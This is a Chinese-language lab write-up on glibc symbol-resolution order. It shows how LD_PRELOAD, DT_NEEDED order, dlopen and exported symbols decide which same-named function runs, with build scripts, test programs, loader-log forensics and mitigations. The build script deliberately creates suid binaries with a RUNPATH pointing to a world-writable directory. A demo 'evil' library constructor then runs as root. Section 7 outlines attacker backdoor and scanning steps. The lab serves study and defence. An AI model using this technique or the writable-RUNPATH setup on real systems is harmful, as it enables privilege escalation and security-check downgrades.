一、风险概述:调用哪个实现,是加载器说了算

先看一个最容易理解的例子。一个程序链接了库 A,库 A 里有一个 verify_security() 返回 1,表示“校验通过”。运行正常:

./prog_single

同一个二进制,同一个函数名,结果从 1 变成 0。程序没有改动一个字,磁盘上没有任何文件被碰过,变化只来自运行环境。而如果那个 1 代表“走的是带加固的新版校验”,0 代表“不带加固的旧版”,这次攻击就是一次加载期降级:程序以为自己调的是新版,实际上加载器把旧版塞给了它。

这套东西的威胁模型可以写得很干净:能控制目标程序运行环境或依赖图的人(本地用户、供应链里能投放库的人、能把 .so 写进某目录的人),利用加载器的同名符号裁决顺序,让目标进程在启动期执行自己提供的同名函数。成果从函数返回值被改,到库构造函数在 suid 程序里以 root 身份执行,一路可升级。

这一步证明的是:程序调用的实现与代码意图之间,隔着加载器这道裁决。 攻击者要的不是改文件,是抢在加载器裁决时排到前面。

二、从零复现:先跑通攻击链

2.1 设定与构建

工件分三类:两个同名符号库、一个受害者程序、一个构建脚本。核心文件如下:

prog_single.c —— 受害者程序,同一个源文件被多次编译,换链接顺序 / 注入方式,观察裁决变化:

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>

int verify_security(void);

int main(void) {
    int (*fp)(void) = verify_security;
    Dl_info di;
    const char *from = (dladdr((void *)fp, &di) && di.dli_fname) ? di.dli_fname : "?";
    printf("verify_security = %d  (from %s)\n", fp(), from);
    return 0;
}

libA_new.c —— 新实现,verify_security() 返回 1,另含内部包装 verify_wrapped 与专用符号 verify_only_new:

int verify_security(void) { return 1; }

int verify_wrapped(void) { return verify_security(); }

int verify_only_new(void) { return 1; }

libB_old.c —— 旧实现/弱实现,同名函数返回 0,另含内部包装 call_sec:

int verify_security(void) { return 0; }

int call_sec(void) { return verify_security(); }

build.sh —— 构建脚本,一次产出六个同名符号库、十一个程序、四个 suid 副本,外加提权演示用的恶意库:

#!/bin/bash
set -e
cd "$(dirname "$0")"
ABS="$(pwd)"

NEEDED="libA_new.c libB_old.c libB_extended.c libB_hidden.c libA_evil.c \
prog_single.c prog_dl.c prog_dl_local.c prog_exe.c prog_rename.c prog_wrap.c"
MISSING=""
for f in $NEEDED; do
  [ -f "$f" ] || MISSING="$MISSING $f"
done
if [ -n "$MISSING" ]; then
  echo "[!] 缺少源文件(需与 build.sh 同目录):$MISSING" >&2
  exit 1
fi

echo "[1/8] 新实现 libA_new.so(verify_security=1 + verify_wrapped + verify_only_new)"
gcc -shared -fPIC -O0 -o libA_new.so libA_new.c

echo "[2/8] 新实现 + -Bsymbolic-functions:libA_new_bs.so"
gcc -shared -fPIC -O0 -Wl,-Bsymbolic-functions -o libA_new_bs.so libA_new.c

echo "[3/8] 旧实现 libB_old.so(verify_security=0 + call_sec 包装)"
gcc -shared -fPIC -O0 -o libB_old.so libB_old.c

echo "[4/8] 旧实现 + 扩展符号 libB_extended.so(提供 verify_only_new=0)"
gcc -shared -fPIC -O0 -o libB_extended.so libB_extended.c

echo "[5/8] 旧实现 hidden 版本 libB_hidden.so(verify_security 不导出)"
gcc -shared -fPIC -O0 -o libB_hidden.so libB_hidden.c

echo "[6/8] 新实现依赖旧实现:libA_depB.so(DT_NEEDED 含 libB_old,自身带 \$ORIGIN RUNPATH)"
gcc -shared -fPIC -O0 -o libA_depB.so libA_new.c \
    -Wl,--no-as-needed -L. -lB_old -Wl,--as-needed -Wl,-rpath,'$ORIGIN'

echo "[7/8] 各 prog(全部带 \$ORIGIN RUNPATH)"
gcc -O0 -o prog_single    prog_single.c -L. -lA_new                -Wl,-rpath,'$ORIGIN'
# 双直接依赖:--no-as-needed 强制两个库都进 DT_NEEDED,运行期才真正发生"同名裁决"
gcc -O0 -o prog_AB_BA     prog_single.c -Wl,--no-as-needed -L. -lB_old -lA_new -Wl,--as-needed -Wl,-rpath,'$ORIGIN'
gcc -O0 -o prog_AB_AB     prog_single.c -Wl,--no-as-needed -L. -lA_new -lB_old -Wl,--as-needed -Wl,-rpath,'$ORIGIN'
gcc -O0 -o prog_adep      prog_single.c -L. -lA_depB               -Wl,-rpath,'$ORIGIN'
gcc -O0 -o prog_dl        prog_dl.c     -L. -lB_old                -Wl,-rpath,'$ORIGIN'
gcc -O0 -o prog_dl_local  prog_dl_local.c -L. -lA_new              -Wl,-rpath,'$ORIGIN'
gcc -O0 -o prog_exe       prog_exe.c    -L. -lB_old                -Wl,-rpath,'$ORIGIN'
gcc -O0 -o prog_exe_rd    prog_exe.c    -L. -lB_old -rdynamic      -Wl,-rpath,'$ORIGIN'
gcc -O0 -o prog_rename    prog_rename.c -L. -lA_new                -Wl,-rpath,'$ORIGIN'
gcc -O0 -o prog_wrap      prog_wrap.c   -L. -lA_new                -Wl,-rpath,'$ORIGIN'
gcc -O0 -o prog_wrap_bs   prog_wrap.c   -L. -lA_new_bs             -Wl,-rpath,'$ORIGIN'

echo "[8/8] suid 副本(供 AT_SECURE 对照)"
# 提权演示用的恶意库(矩阵与 6.5 手动步骤都引用 /tmp/libA_evil_ready.so)
gcc -shared -fPIC -O0 -o /tmp/libA_evil_ready.so libA_evil.c
# 绝对路径 RUNPATH 版:AT_SECURE 下 RUNPATH 保留,库可加载
gcc -O0 -o prog_single_abs prog_single.c -L. -lA_new -Wl,-rpath,"$ABS"
cp -f prog_single_abs prog_single_abs_suid
# 老式 DT_RPATH 绝对路径版
gcc -O0 -o prog_single_rpath prog_single.c -L. -lA_new -Wl,--disable-new-dtags,-rpath,"$ABS"
cp -f prog_single_rpath prog_single_rpath_suid
# \$ORIGIN 版(AT_SECURE 下预期加载失败,作为边界观察)
cp -f prog_single prog_single_suid
# 指向可写目录的绝对 RUNPATH 版:提权演示用
mkdir -p world && chmod 777 world
gcc -O0 -o prog_suid_world prog_single.c -L. -lA_new -Wl,-rpath,"$ABS/world"
for f in prog_single_abs_suid prog_single_rpath_suid prog_single_suid prog_suid_world; do
  chown root:root "$f" && chmod 4755 "$f"
done

echo "build done:"
ls -1 *.so prog_* | tr '\n' ' '; echo

建目录,把这些源文件放进去,一条命令构建全部工件:

mkdir -p symshadow && cd symshadow
bash build.sh

build.sh 一次产出六个同名符号库(libA_new / libA_new_bs / libB_old / libB_extended / libB_hidden / libA_depB)、十一个程序(prog_single、prog_AB_BA、prog_AB_AB、prog_adep、prog_dl、prog_dl_local、prog_exe、prog_exe_rd、prog_rename、prog_wrap、prog_wrap_bs)和四个 suid 副本。

2.2 基线:新实现正常

./prog_single

正常链路,程序按设计调用到新实现。

2.3 攻击链:一个环境变量完成替换

LD_PRELOAD=./libB_old.so ./prog_single

注入成立。注意第二个字段 (from ./libB_old.so) 是程序自己用 dladdr 查出来的。

2.4 负向对照:不注入时,旧库根本不在进程里

怀疑“也许旧库本来就会被加载”?直接看加载器日志:

LD_DEBUG=files ./prog_single 2>&1 | grep -E "libA_new|libB_old"

加载列表里只有 libA_new,没有 libB_old。加上注入之后再看:

LD_DEBUG=files LD_PRELOAD=./libB_old.so ./prog_single 2>&1 | grep -E "libB_old|libA_new"

注入的库作为“needed by prog”被加载器主动拉进进程,随后完成了对同名符号的顶替。整条链路的顺序、行为、证据可以收成一张表:

顺序

行为

可观察证据

1

程序链接 libA_new,verify_security 走 PLT

基线输出 verify_security = 1

2

设置 LD_PRELOAD=./libB_old.so

进程被注入旧库,构造/初始化阶段提前于 main

3

程序首次调用 verify_security

PLT 首次绑定到 libB_old.so(LD_DEBUG=bindings 可见)

4

函数执行

输出 verify_security = 0 (from ./libB_old.so)

这里的重点不是“LD_PRELOAD 能注入”这个常识,而是后面四个字:先声明者胜。

三、机制:谁先被搜到,谁就是实现

3.1 一句话本质

符号解析不是“谁定义得对”,而是**“谁先被搜到”**——glibc 对同名符号的裁决,是全局搜索列表上的先到先得,搜索顺序即裁决顺序。

3.2 搜索列表怎么排

glibc 为进程维护一个全局搜索列表,加载期解析同名符号时从头到尾找第一个定义:

四个可操作的位置:主程序导出、LD_PRELOAD、DT_NEEDED 声明顺序、dlopen 时机。这四者全部可以在不碰目标 ELF 的前提下被攻击者影响。

3.3 充要条件

这套裁决要能被用来替换实现,需要三条同时成立:

  1. 同名:同一符号名存在多个定义;
  2. 顺序可控:攻击者能影响搜索顺序——设置环境变量、影响依赖声明顺序、控制 dlopen 时机与标志;
  3. 来源不校验:目标程序对被调实现没有来源校验。

三条缺一条都不成立:没有同名,找不到替换对象;顺序不可控,替换进不了场;有来源校验,替换会被识破。

3.4 可迁移框架

“先到先得 + 顺序可控”是一个通用命名空间裁决模型。同一种模型在别处反复出现:路由匹配按注册顺序先匹配先生效、缓存键按查找顺序命中、PATH 环境变量按目录顺序选可执行文件、加载器搜索路径按顺序选库。凡是“顺序即优先级”的命名空间,顺序可控就等于结果可控。​

四、裁决矩阵:五个输入,一个输出

4.1 双直接依赖:DT_NEEDED 声明顺序就是胜负

同一个源文件编译两次,唯一的差别是链接时 -l 的顺序。为了让两个库都留在依赖里,链接时加了 -Wl,--no-as-needed:

readelf -d prog_AB_BA | grep NEEDED | grep -E "libA_new|libB_old"

./prog_AB_BA

旧库在前,旧库赢。

readelf -d prog_AB_AB | grep NEEDED | grep -E "libA_new|libB_old"

./prog_AB_AB

新库在前,新库赢。ldd 确认两个库都被加载了,不是“没加载所以赢”:

ldd ./prog_AB_BA | head -6

这一步证明的是:同一程序、同一符号、两库都在场,DT_NEEDED 里的声明顺序直接决定实现归属。 这就是“先声明者胜”的最直接形态。

4.2 传递依赖 vs 直接依赖:浅层先搜到

把关系挪一层:程序只直接依赖 libA_depB,而 libA_depB 的 DT_NEEDED 里挂着 libB_old。这样 libB_old 变成传递依赖:

readelf -d libA_depB.so | grep NEEDED

./prog_adep

直接依赖在广度优先里排在传递依赖前面,所以新实现保住。广度优先:同层按声明顺序,跨层是浅层永远先于深层。想用传递依赖压过直接依赖是做不到的。

4.3 dlopen:运行期加载的库永远排最后

程序启动时依赖旧库 B,运行中 dlopen("./libA_new.so", RTLD_GLOBAL) 把新库也拉进来:

prog_dl 的源码:

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>

int verify_security(void);

int main(void) {
    void *h = dlopen("./libA_new.so", RTLD_NOW | RTLD_GLOBAL);
    if (!h) { printf("dlopen failed: %s\n", dlerror()); return 1; }
    int (*fp)(void) = verify_security;
    Dl_info di;
    const char *from = (dladdr((void *)fp, &di) && di.dli_fname) ? di.dli_fname : "?";
    printf("verify_security = %d  (from %s)\n", fp(), from);
    return 0;
}
./prog_dl

新库明明被加载了,裁决还是归旧库。原因:运行期 dlopen 的库被追加到全局搜索列表末尾,启动期依赖已经占好了前面的位置。

4.4 exe 自带同名符号:三条边界

程序自己定义了 verify_security,还调用了旧库的 call_sec()。测出三条边界:

prog_exe 的源码:

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>

int verify_security(void) { return 42; }   /* libB_old 引用它 → 自动导出 */
int verify_exe_only(void)  { return 42; }  /* 无人引用 → 默认不导出 */
int call_sec(void);   /* libB_old 提供 */

int main(void) {
    printf("direct verify_security = %d\n", verify_security());
    printf("direct verify_exe_only = %d\n", verify_exe_only());
    printf("via call_sec           = %d\n", call_sec());
    printf("dlsym verify_exe_only  = %s\n", dlsym(RTLD_DEFAULT, "verify_exe_only") ? "found" : "NULL");
    return 0;
}
./prog_exe

第一条:exe 内部直连调用不可劫持——verify_security() 在程序内被直接调用,不走 PLT,加不加注入都恒为 42。

第二条:被库引用的 exe 符号自动导出,且排搜索列表首位。call_sec 在旧库内部,它调 verify_security 时走全局解析;此时即使注入旧库的同名实现也压不过:

LD_PRELOAD=./libB_old.so ./prog_exe

为什么压不过?看 .dynsym 就明白:verify_security 因为被库引用,链接器自动把它导出,于是主程序在搜索列表第一位:

readelf --dyn-syms prog_exe | grep -E "verify_security|verify_exe_only"

第三条:没人引用的符号默认不导出,动态解析看不见。verify_exe_only 只被程序自己直连调用,不在 .dynsym 里,所以 dlsym(RTLD_DEFAULT, "verify_exe_only") 返回 NULL。加上 -rdynamic 导出后:

./prog_exe_rd

这三条边界合起来回答一个常见疑问:“LD_PRELOAD 到底能不能劫持程序自己的函数?”答案是:直连调用劫持不了;被库引用的自动导出后反而排最前、注入也压不过;只有那些没导出、又恰好走动态解析的符号才是空窗。

4.5 命中与未命中:同名是裁决的唯一依据

prog_rename 引用的是 verify_only_new——一个只有新库提供的符号。注入旧库:

两个源文件:prog_rename.c(引用只有新库提供的符号)与 libB_extended.c:

#include <stdio.h>

int verify_only_new(void);

int main(void) {
    printf("verify_only_new = %d\n", verify_only_new());
    return 0;
}
int verify_security(void) { return 0; }

int verify_only_new(void) { return 0; }
LD_PRELOAD=./libB_old.so ./prog_rename

行为纹丝不动。换扩展版旧库(补上了同名 verify_only_new,返回 0):

LD_PRELOAD=./libB_extended.so ./prog_rename

被替换。这一对是命中/未命中的双分支:名字对不上,再强的注入也落空;名字一配上,立即生效。它说明裁决机制对“身份”一无所知——它只认名字,不认血缘、不认签名、不认来源。

4.6 矩阵汇总

输入

谁在前

裁决结果

关键证据

基线

只有新库

新实现(1)

程序自报 from libA_new

LD_PRELOAD

注入库

旧实现(0)

自报 + bindings 绑定到 libB_old

双依赖顺序

DT_NEEDED 前位

前位实现

readelf DT_NEEDED + 自报

传递依赖

直接依赖

直接依赖实现

readelf NEEDED + 自报

dlopen

启动期依赖

启动期实现

自报

exe 导出符号

主程序

主程序(42)

.dynsym + dlsym

同名命中

提供同名的库

被替换

0 vs 1 对照

这张表要说明的就一件事:裁决只有一个变量——搜索顺序;而顺序的每个输入点,攻击者都能碰到。

五、根因与排查:四路取证

怀疑“某个符号被顶替了”,怎么坐实?本对照用了四路互不依赖的证据,任何一路都能独立指认实现归属。

5.1 第一路:程序自报

dladdr 查函数指针落点,程序自己说出 (from ...)。这是最直接的一路,前面所有输出都带了。

5.2 第二路:ELF 动态段

readelf --dyn-syms 看谁导出了什么、readelf -d 看 DT_NEEDED 顺序和 RPATH/RUNPATH。判定“这个程序被设计成依赖谁”“注入库到底导没导出那个符号”全靠它。

5.3 第三路:加载器日志

LD_DEBUG=files 看加载列表,LD_DEBUG=bindings 看符号绑定落点:

LD_DEBUG=bindings LD_PRELOAD=./libB_old.so ./prog_single 2>&1 | grep -F verify_security | head -4

绑定行直接交代:是谁(prog_single)的引用,绑给了谁(libB_old),哪个符号。

LD_DEBUG=bindings ./prog_AB_AB 2>&1 | grep -F verify_security | head -4

顺序一变,绑定目标跟着变。加载器日志把“裁决”这个看不见的过程打成了明文。

5.4 第四路:机器码

objdump -d 看库内部调用到底走 PLT 还是直连:

objdump -d libA_new.so | grep -A3 "<verify_wrapped>"

走 @plt 的调用,解析权在加载器手里,可注入。

六、修复:

最简单的先做——管住自己的库。verify_security 编译时加个 visibility("hidden"),符号就进不了 .dynsym,LD_PRELOAD 想顶同名定义,连定义都找不到。实测:preload 一个 hidden 版旧库,程序照样输出 1。当然这招只管住你自己,攻击者换别的同名库来,照样没辙。

再一个——动态加载别把库丢进全局。dlopen 用 RTLD_LOCAL,加载进来的库只服务自己的依赖,不参与全局裁决,实测照样输出 1。代价是它只管 dlopen 这一条道,LD_PRELOAD 和 DT_NEEDED 两条道管不着。

第三个坑在库内部。libA_new 里 verify_wrapped 调 verify_security,默认走 PLT,谁解析谁说了算,注入库能顺着这个口子穿进去。编译时加 -Wl,-Bsymbolic-functions,内部调用就从 call @plt 变成直连本地地址,同样的 preload,普通版输出 0(被打穿)、Bsymbolic 版输出 1(守住)。这招只管库内部,程序入口和跨库调用还是全局顺序。

最后让内核帮一把——setuid。程序设了 setuid,内核打上 AT_SECURE 标记,LD_PRELOAD、LD_LIBRARY_PATH、LD_DEBUG 这一整套环境变量,加载器直接当没看见。实测:testuser 跑 suid 程序,带不带注入都是输出 1;同一个用户跑非 suid 副本,注入照常生效,输出 0。

但环境变量焊死了,ELF 里写死的路径还在——这是最后、也最容易忽略的坑。suid 程序编译时把绝对 RUNPATH 写死指向普通用户可写的目录,testuser 往 world/libA_new.so 放一个恶意同名库,suid 程序启动就把恶意库加载了,恶意构造函数直接在 euid=0 下执行(verify_security = 57005,就是 0xdead),全程没用任何环境变量。还有个边角:suid 程序用 RUNPATH=$ORIGIN 的话,AT_SECURE 下反而加载失败,绝对路径却没事——内核只认 ELF 里写死的路径,不认运行环境给的路径。

本章只新增四个源文件(与仓库逐字一致),其余工件复用第二章:

/* libB_hidden.c —— 旧实现,但 verify_security 以 hidden 可见性编译,不导出
 * 用于修复对照:hidden 符号进不了 .dynsym,preload 时提供不了同名定义
 */
__attribute__((visibility("hidden")))
int verify_security(void) { return 0; }

int call_sec(void) { return verify_security(); }
/* prog_dl_local.c —— 启动期依赖 libA_new,dlopen 加载 libB_old 但用 RTLD_LOCAL
 * 修复对照:RTLD_LOCAL 不把符号放进全局作用域,替换实现无法被命中
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>

int verify_security(void);

int main(void) {
    void *h = dlopen("./libB_old.so", RTLD_NOW | RTLD_LOCAL);
    if (!h) { printf("dlopen failed: %s\n", dlerror()); return 1; }
    int (*fp)(void) = verify_security;
    Dl_info di;
    const char *from = (dladdr((void *)fp, &di) && di.dli_fname) ? di.dli_fname : "?";
    printf("verify_security = %d  (from %s)\n", fp(), from);
    return 0;
}
/* prog_wrap.c —— 调用 libA_new 内部包装 verify_wrapped
 * 修复对照:verify_wrapped 内部的 verify_security 是否被 preload 穿透
 * 分别链接普通 libA_new 与 -Bsymbolic 版 libA_new_bs
 */
#include <stdio.h>

int verify_wrapped(void);

int main(void) {
    printf("verify_wrapped = %d\n", verify_wrapped());
    return 0;
}
/* libA_evil.c —— 恶意同名库:constructor 打印 euid,verify_security 返回 0xdead
 * 用于 AT_SECURE 场景的提权演示:testuser 把它放进可写的 RUNPATH 目录,
 * suid 程序加载到它,constructor 在 euid=root 下执行
 */
#include <stdio.h>
#include <unistd.h>

static void __attribute__((constructor)) evil_init(void) {
    printf("[evil libA_new.so] constructor: ruid=%d euid=%d\n", getuid(), geteuid());
}

int verify_security(void) { return 0xdead; }


七、攻击者视角

诱导链。 攻击者要的是目标进程里出现“攻击者提供的同名定义”。入口按成本排:能设环境变量(本地、容器、cron 环境)→ LD_PRELOAD 一步到位;能改依赖/供应链 → 控制 DT_NEEDED 顺序或塞同名库;能写某个被 RUNPATH 引用的目录 → 无需环境变量,连 suid 都吃。攻击者永远选成本最低、最不容易被日志发现的那个。

提权链。 把库换成带构造函数的版本,构造函数在加载期、main 之前执行。suid 场景下(第六章),构造函数直接拿到 euid=0。实际利用时构造函数里做全套:读密钥、写文件、改属主、落地后门,最后 main 照常运行,进程看起来一切正常。

自动化探测。 攻击者在目标机器上批量扫:对所有 suid 二进制跑 readelf -d | grep -E "RPATH|RUNPATH",命中可写目录的就是候选;对所有关键服务进程看 LD_PRELOAD 残留。防御方也该用同一套命令做基线,只是目的相反。

八、结论

  • 符号解析的本质是“先到先得”:搜索顺序即裁决顺序,顺序可控即结果可控;
  • 顺序的四个输入点(主程序导出、LD_PRELOAD、DT_NEEDED、dlopen)攻击者全部够得着,不需要碰目标 ELF;
  • 同名新旧两版 = 加载期降级;同名库 + suid + 可写 RUNPATH = 提权加载,AT_SECURE 也拦不住;
  • 取证四路互相独立:程序自报(dladdr)、ELF 动态段(readelf)、加载器日志(LD_DEBUG)、机器码(objdump),任一路都能指认实现归属;
  • 修复要分层,更要看清残余:单修任何一层,都只是把漏洞挪到下一层;收敛目标只有一个——让裁决顺序不可被外部操纵,让被调实现的来源可被校验。